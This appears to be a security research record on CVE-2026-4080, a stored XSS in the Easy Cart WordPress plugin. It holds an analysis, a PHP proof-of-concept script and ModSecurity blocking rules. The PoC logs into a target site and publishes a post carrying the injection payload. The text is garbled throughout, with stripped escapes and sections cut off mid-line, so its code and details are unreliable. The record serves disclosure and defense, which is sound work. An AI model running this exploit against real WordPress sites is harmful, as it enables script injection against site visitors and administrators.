{
“analysis”: “Atomic Edge analysis of CVE-2026-4080 (metadata-based):nnThe Easy Cart plugin for WordPress (version 1.8 and earlier) contains a stored cross-site scripting vulnerability in its ‘add_to_cart’ shortcode handler. Authenticated users with Contributor-level access or higher can inject arbitrary JavaScript into pages by exploiting insufficient output escaping on shortcode attributes. The vulnerability carries a CVSS score of 6.4 (Medium severity) with a CWE-79 classification for improper neutralization of input during web page generation.nnRoot Cause: The vulnerability stems from the ectp_add_to_cart() function’s use of sanitize_text_field() on shortcode attributes such as ‘itemid’, ‘product_name’, ‘product_desc’, ‘product_qty’, and ‘price’. Based on the CWE and description, sanitize_text_field() strips HTML tags but fails to escape double quote characters. When the filtered value is inserted into a double-quoted HTML attribute context (e.g., or
“poc_php”: “<?phpn// Atomic Edge CVE Research – Proof of Concept (metadata-based)n// CVE-2026-4080 – Easy Cart $username,n ‘pwd’ => $password,n ‘wp-submit’ => ‘Log In’,n ‘redirect_to’ => $target_url . ‘/wp-admin/’,n ‘testcookie’ => 1n);nn$ch = curl_init();ncurl_setopt($ch, CURLOPT_URL, $login_url);ncurl_setopt($ch, CURLOPT_POST, true);ncurl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));ncurl_setopt($ch, CURLOPT_COOKIEJAR, ‘/tmp/cookies.txt’);ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, true);ncurl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);ncurl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);n$response = curl_exec($ch);nnif (strpos($response, ‘Dashboard’) === false && strpos($response, ‘wp-admin’) === false) {n die(“[!] Login failed. Check credentials or site URL.\n”);n}necho “[+] Successfully logged in as: $username\n”;nn// Step 2: Get a valid _wpnonce for creating a new post (admin-ajax.php nonce endpoint)n// We use the WordPress REST API or admin-ajax to create a post. For simplicity, we’ll use the REST API.n$rest_nonce_url = $target_url . ‘/wp-admin/admin-ajax.php?action=rest-nonce’;ncurl_setopt($ch, CURLOPT_URL, $rest_nonce_url);ncurl_setopt($ch, CURLOPT_POST, false);ncurl_setopt($ch, CURLOPT_COOKIEFILE, ‘/tmp/cookies.txt’);n$nonce_response = curl_exec($ch);nn// Check if nonce returned directly (old WordPress) or via JSONn$nonce = trim($nonce_response);nif (empty($nonce) || strlen($nonce) ‘CVE-2026-4080 PoC Test’,n ‘content’ => $post_content,n ‘status’ => ‘publish’,n ‘slug’ => ‘cve-2026-4080-poc-test-‘ . uniqid()n);nn$json_data = json_encode($post_data);ncurl_setopt($ch, CURLOPT_URL, $create_post_url);ncurl_setopt($ch, CURLOPT_POST, true);ncurl_setopt($ch, CURLOPT_POSTFIELDS, $json_data);ncurl_setopt($ch, CURLOPT_HTTPHEADER, array(n ‘Content-Type: application/json’,n ‘X-WP-Nonce: ‘ . $noncen));ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, true);n$post_response = curl_exec($ch);n$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);nnif ($http_code == 201) {n $post_data_response = json_decode($post_response, true);n $post_id = $post_data_response[‘id’];n $post_link = $post_data_response[‘link’];n echo “[+] Successfully created malicious post.\n”;n echo “[+] Post ID: $post_id\n”;n echo “[+] Visit: $post_link\n”;n echo “[+] Hover over the add-to-cart element to trigger the XSS payload.\n”;n} else {n echo “[!] Failed to create post. HTTP code: $http_code\n”;n echo “[!] Response: $post_response\n”;n echo “[!] Check if the REST API is enabled or if your user has proper permissions.\n”;n}nncurl_close($ch);necho “\n[+] PoC complete.\n”;n?>n”,
“modsecurity_rule”: “# Atomic Edge WAF Rule – CVE-2026-4080 (metadata-based)n# Block stored XSS via Easy Cart ‘add_to_cart’ shortcode by detecting double quote escape attempts in itemid parametern# This rule targets the request to create/update posts via the WordPress REST API or admin-ajaxnnSecRule REQUEST_URI “@streq /wp-admin/admin-ajax.php” \n “id:20264080,phase:2,deny,status:403,chain,msg:’CVE-2026-4080 Easy Cart Stored XSS via AJAX’,severity:’CRITICAL’,tag:’CVE-2026-4080′,tag:’wordpress’,tag:’xss'”n SecRule ARGS_POST:action “@streq easy_cart_action” “chain”n SecRule ARGS_POST:itemid “@rx (?:%22|x22|\\x22|")” \n “t:urlDecode,t:lowercase,chain”n SecRule MATCHED_VAR “@rx on[a-z]+=” “t:lowercase”nnSecRule REQUEST_URI “@beginsWith /wp-json/wp/v2/posts” \n “id:20264081,phase:2,deny,status:403,chain,msg:’CVE-2026-4080 Easy Cart Stored XSS via REST API’,severity:’CRITICAL’,tag:’CVE-2026-4080′,tag:’wordpress’,tag:’xss'”n SecRule REQUEST_HEADERS:Content-Type “@contains application/json” “chain”n SecRule REQUEST_BODY “@rx \\”itemid\\”\\s*:\\s*\\\”[^\”]*\\\”[^}]*on[a-z]+=” \n “t:jsonDecode,t:lowercase”nnSecRule REQUEST_URI “@streq /wp-admin/post.php” \n “id:20264082,phase:2,deny,status:403,chain,msg:’CVE-2026-4080 Easy Cart Stored XSS via Post Edit’,severity:’CRITICAL’,tag:’CVE-2026-4080′,tag:’wordpress’,tag:’xss'”n SecRule ARGS_POST:action “@streq editpost” “chain”n SecRule ARGS_POST:post_content “@rx \\[add_to_cart[^\]]*itemid=\\\”[^\”]*\\\”[^\]]*on[a-z]+=” \n “t:urlDecode,t:lowercase””
}







